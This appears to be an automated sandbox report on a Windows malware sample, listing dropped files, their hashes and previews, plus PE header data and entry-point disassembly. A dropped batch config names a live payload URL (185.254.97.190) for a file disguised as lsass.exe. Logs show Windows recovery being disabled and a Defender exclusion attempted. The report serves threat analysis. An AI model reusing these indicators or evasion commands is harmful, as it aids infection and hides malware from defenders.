                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fbxfj31w.1cy.psm1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ge4dqpd4.ypt.ps1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hocpckf1.10e.psm1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ij54nvqx.1lt.ps1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivrxe33c.5st.psm1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jx1jspt3.xpk.psm1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kfrfd5kx.ejy.ps1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lu1xgy5f.pe0.ps1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqnvy0z4.p4a.psm1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n2jpeh1v.n44.ps1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvkn4nw5.uam.ps1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rnstznm3.gai.ps1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xfslmawy.hss.ps1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y1wmnk0q.vuo.psm1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z0teupgb.pqc.psm1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\u32y.bat

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\curl.exe
                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):194
                                                                                        Entropy (8bit):4.879257771616394
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:bDmVdozLoBN13nozI1mVMB2UNSWWKAH5vWWgAor7:bDmVdozLo713nozCDWKAHQWgnr7
                                                                                        MD5:8124818991B68640A54E765041FDEBE6
                                                                                        SHA1:B74F3FF9325C6194A04D10F616C7E013F71A9280
                                                                                        SHA-256:65E3C9CE2743BB1B448575993593B2B00B1BAFFADB7AA2B216F76B87B2170A64
                                                                                        SHA-512:BA87C475FE56AF3D77C8C7E0ED7CFB206CA5B4C92CAD1A7888435987FF3189A6830674CF674F05D18D988FC6D14290ADA9D3DE94502E13CC2F6B2B6022D0312C
                                                                                        Malicious:false
                                                                                        Preview:set "startup=False"..set "registry=True"..set "schtask=True"..set "link=http://185.254.97.190:2024/download/XClient.exe"..set "FileExecutable=lsass.exe"..set "WDexc=True"..set "BlockFolder=True"

                                                                                        C:\Windows\Logs\ReAgent\ReAgent.log

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\ReAgentc.exe
                                                                                        File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1817
                                                                                        Entropy (8bit):4.316612694096695
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:3BxBcBxBoBXByBSkB2TE5WHuBFbB4KBMABjdBxByB2:3BxBcBxBoBXByBTB2QwuB9B/BMABZBxp
                                                                                        MD5:E906DA227540214DEE08247E11FC0396
                                                                                        SHA1:8A4F92FDD657B7244F7DA6E02A8317BFF28BBE1E
                                                                                        SHA-256:FD043AB3D0FD1A6276EFA063E9B9FB5C0871B49643EEB9FA6063EB355DEF48A5
                                                                                        SHA-512:FD778A50F358CAB6E2D5CA2049C228102F2752C14BC5D1CC5E74F809861E74D4B28BC13D48413F4220D2CA59097D5DF7138D042501AE2637CB9BB44D48DCA166
                                                                                        Malicious:false
                                                                                        Preview:.2024-10-15 05:26:11, Info [ReAgentc.exe] ------------------------------------------------------..2024-10-15 05:26:11, Info [ReAgentc.exe] -----Executing command line: reagentc.exe /disable-----..2024-10-15 05:26:11, Info [ReAgentc.exe] ------------------------------------------------------..2024-10-15 05:26:11, Info [ReAgentc.exe] Enter WinReUnInstall..2024-10-15 05:26:11, Info [ReAgentc.exe] Update enhanced config info is enabled...2024-10-15 05:26:11, Warning [ReAgentc.exe] Failed to get recovery entries: 0xc0000225..2024-10-15 05:26:11, Info [ReAgentc.exe] winreGetWinReGuid returning 0X490..2024-10-15 05:26:11, Info [ReAgentc.exe] ReAgentConfig::ReadBcdAndUpdateEnhancedConfigInfo WinRE disabled, WinRE Guid could not be determined (0x490) ..2024-10-15 05:26:11, Info [Re

                                                                                        C:\Windows\Panther\UnattendGC\diagerr.xml

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\ReAgentc.exe
                                                                                        File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (310)
                                                                                        Category:dropped
                                                                                        Size (bytes):50033
                                                                                        Entropy (8bit):4.883351895223494
                                                                                        Encrypted:false
                                                                                        SSDEEP:384:53Iq3Ie3Iq3IY3Iq3Iq3Iq3Iq3Iq3IY3IY3Iq3Iq3Iq3Iq3Iq3Iq3Iq3Iq3Iq3Ix:5l7ljllllljjllllllllllljjlM
                                                                                        MD5:05351F08FEB26203D3AA00B511239A36
                                                                                        SHA1:EBFC67E091A0CC2ACD18B33F4FD0F8C874869A05
                                                                                        SHA-256:62B687A360B65760F5CCE1378245FDF0B836007A82C1A7956D451A84FF81797B
                                                                                        SHA-512:2A8AB6F47A84B5D8A9BE5F54CF52463461D138F355A8DD257F2D6A3C5487E2263F18C76D2FA5AF410804AEEEB3BAA404CC59F2B42501898D57D1195C8DE83862
                                                                                        Malicious:false
                                                                                        Preview:.<xml xmlns:s="uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882". xmlns:dt="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882". xmlns:rs="urn:schemas-microsoft-com:rowset". xmlns:z="#RowsetSchema">.<s:Schema id="RowsetSchema">.<s:ElementType name="row" content="eltOnly" rs:updatable="true">.<s:AttributeType name="Cls" rs:number="0">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Sev" rs:number="1">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Maj" rs:number="2">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Min" rs:number="3">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="LN" rs:number="4">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Fil" rs:number="5">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Fun" rs:number="6">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Uid" rs:number="7">.<s:datatype dt:type="int"/>.</s:At

                                                                                        C:\Windows\Panther\UnattendGC\diagwrn.xml

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\ReAgentc.exe
                                                                                        File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (355)
                                                                                        Category:modified
                                                                                        Size (bytes):51331
                                                                                        Entropy (8bit):4.919469059606052
                                                                                        Encrypted:false
                                                                                        SSDEEP:384:53Iq3Ir3Iq3IY3Iq3Iq3Iq3Iq3Iq3IY3IY3Iq3Iq3Iq3Iq3Iq3Iq3Iq3Iq3Iq3IY:5lQljllllljjllllllllllljjlr
                                                                                        MD5:88B3D8C6E92D9CFD246D4DEBCAD84BA7
                                                                                        SHA1:9A8D07971D69F6CF4D2C91866B0069ABA2B0A751
                                                                                        SHA-256:AD664DC7F27DDFFAAE344C5E04DE3417BE8224D350B88352C807D6D1A7391EBB
                                                                                        SHA-512:C73C70C4B7A54D04A7F30BACC6BFDD70496FBD117AD79093310390FB0296403C900C87D21F17DE44DB8000560E36E2478B3798FBA40B5EE3A45D5D1D1BFC2E2E
                                                                                        Malicious:false
                                                                                        Preview:.<xml xmlns:s="uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882". xmlns:dt="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882". xmlns:rs="urn:schemas-microsoft-com:rowset". xmlns:z="#RowsetSchema">.<s:Schema id="RowsetSchema">.<s:ElementType name="row" content="eltOnly" rs:updatable="true">.<s:AttributeType name="Cls" rs:number="0">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Sev" rs:number="1">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Maj" rs:number="2">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Min" rs:number="3">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="LN" rs:number="4">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Fil" rs:number="5">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Fun" rs:number="6">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Uid" rs:number="7">.<s:datatype dt:type="int"/>.</s:At

                                                                                        C:\Windows\Panther\UnattendGC\setuperr.log

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\ReAgentc.exe
                                                                                        File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):224
                                                                                        Entropy (8bit):4.6675554997581195
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:Yus/4YxzJ/MPxVZCYt/BMpAQ/N/4BNBAAy:NsgYx9/MZLCISNABfry
                                                                                        MD5:8C9E4E738BCD055A39C60372BC474781
                                                                                        SHA1:6E87043BCF62F40A494F12D88FBA6DAF49E68CFE
                                                                                        SHA-256:069E4BB2CF60A51AAF3E7C1163418E2F635FD16BD3FC7E38DE768451D42F3B36
                                                                                        SHA-512:AA8AA6650023911CF9FEA04380CB0388F296D5779B3CB7527E37259B7785E4540ED2E94080CD96DFB390E6B006899A698893D88E944DC2084D65FDDC2BAC8ACF
                                                                                        Malicious:false
                                                                                        Preview:.2023-10-03 08:57:16, Error [msoobe.exe] COMMIT: failed for plugin LocalUser Plugin with hr=0x80070490..2024-10-15 05:26:11, Error [ReAgentc.exe] WinReUnInstall failed: : 0x2..

                                                                                        \Device\Null

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):818
                                                                                        Entropy (8bit):5.031269565881937
                                                                                        Encrypted:false
                                                                                        SSDEEP:24:nt0vndauz/ko+3bdh5wt0gVuz/ko+3bdh5m:ntics+3OtZs+3U
                                                                                        MD5:1B17C95ACEA2214190FBBA0E0B616A01
                                                                                        SHA1:2603D3EACEEC2B225DDF550764789FA3928559F7
                                                                                        SHA-256:3F24A8E29570B35637C029CD5ACA765776C8F1B5503390C9F1C56E7BEF6F0E51
                                                                                        SHA-512:D3D29F9BE05C21651F0D09D00AD9E1BC72F48545F86DF26BF648482270BCD202D6BAF4AA832F21010B83E6959381BB516DC44A95CB0E1152D3910932DE28BAFA
                                                                                        Malicious:false
                                                                                        Preview:Add-MpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: ..ConfigListExtension...At line:1 char:1..+ Add-MpPreference -ExclusionPath 'D:\'..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..Add-MpPreference : Operation failed with the following error: 0x%1!x!..At line:1 char:1..+ Add-MpPreference -ExclusionPath 'D:\'..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..

                                                                                        Static File Info

                                                                                        General

                                                                                        File type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                        Entropy (8bit):6.789709471087601
                                                                                        TrID:
                                                                                        • Win32 Executable (generic) a (10002005/4) 99.94%
                                                                                        • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                        • DOS Executable Generic (2002/1) 0.02%
                                                                                        • VXD Driver (31/22) 0.00%
                                                                                        File name:nkYzjyrKYK.exe
                                                                                        File size:95'744 bytes
                                                                                        MD5:7f5e49656e9ad3806d18f23766f7cad5
                                                                                        SHA1:593a914acb66225e5b4a813dff2b03f77025ec5a
                                                                                        SHA256:0f5582439a6cf97fdbc8a7c0037d8ed10ce639c982cd433b83dd4159017fbe62
                                                                                        SHA512:0dfc359bd82e662a8f1d91a81e9a1a8f30f17c77a5eadcbaaf2619eea537d0e31bd6c1158c25783c7a98b6487198b3ec51b55973c5a4767085195dfdeed2aeb3
                                                                                        SSDEEP:1536:n7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIf5wuIGk2AOy:77DhdC6kzWypvaQ0FxyNTBf5Ql
                                                                                        TLSH:E5937D41F3E102F7EAE2093100B6722F973663389764ACDBC75C2D529913AD5A63D3E9
                                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...].@]...............2.....^...............0....@........................................................................

                                                                                        File Icon

                                                                                        Icon Hash:00928e8e8686b000

                                                                                        Static PE Info

                                                                                        General

                                                                                        Entrypoint:0x401000
                                                                                        Entrypoint Section:.code
                                                                                        Digitally signed:false
                                                                                        Imagebase:0x400000
                                                                                        Subsystem:windows cui
                                                                                        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                        DLL Characteristics:
                                                                                        Time Stamp:0x5D40055D [Tue Jul 30 08:52:45 2019 UTC]
                                                                                        TLS Callbacks:
                                                                                        CLR (.Net) Version:
                                                                                        OS Version Major:4
                                                                                        OS Version Minor:0
                                                                                        File Version Major:4
                                                                                        File Version Minor:0
                                                                                        Subsystem Version Major:4
                                                                                        Subsystem Version Minor:0
                                                                                        Import Hash:2c5f2513605e48f2d8ea5440a870cb9e

                                                                                        Entrypoint Preview

                                                                                        Instruction
                                                                                        push 000000ACh
                                                                                        push 00000000h
                                                                                        push 00418068h
                                                                                        call 00007FBCBC69A251h
                                                                                        add esp, 0Ch
                                                                                        push 00000000h
                                                                                        call 00007FBCBC69A24Ah
                                                                                        mov dword ptr [0041806Ch], eax
                                                                                        push 00000000h
                                                                                        push 00001000h
                                                                                        push 00000000h
                                                                                        call 00007FBCBC69A237h
                                                                                        mov dword ptr [00418068h], eax
                                                                                        call 00007FBCBC69A1B1h
                                                                                        mov eax, 0041707Ch
                                                                                        mov dword ptr [0041808Ch], eax
                                                                                        call 00007FBCBC6A3672h
                                                                                        call 00007FBCBC6A33DAh
                                                                                        call 00007FBCBC6A02B8h
                                                                                        call 00007FBCBC69FB3Ch
                                                                                        call 00007FBCBC69F5CFh
                                                                                        call 00007FBCBC69F349h
                                                                                        call 00007FBCBC69E7EDh
                                                                                        call 00007FBCBC69DF6Dh
                                                                                        call 00007FBCBC69A52Fh
                                                                                        call 00007FBCBC6A1F38h
                                                                                        call 00007FBCBC6A09E0h
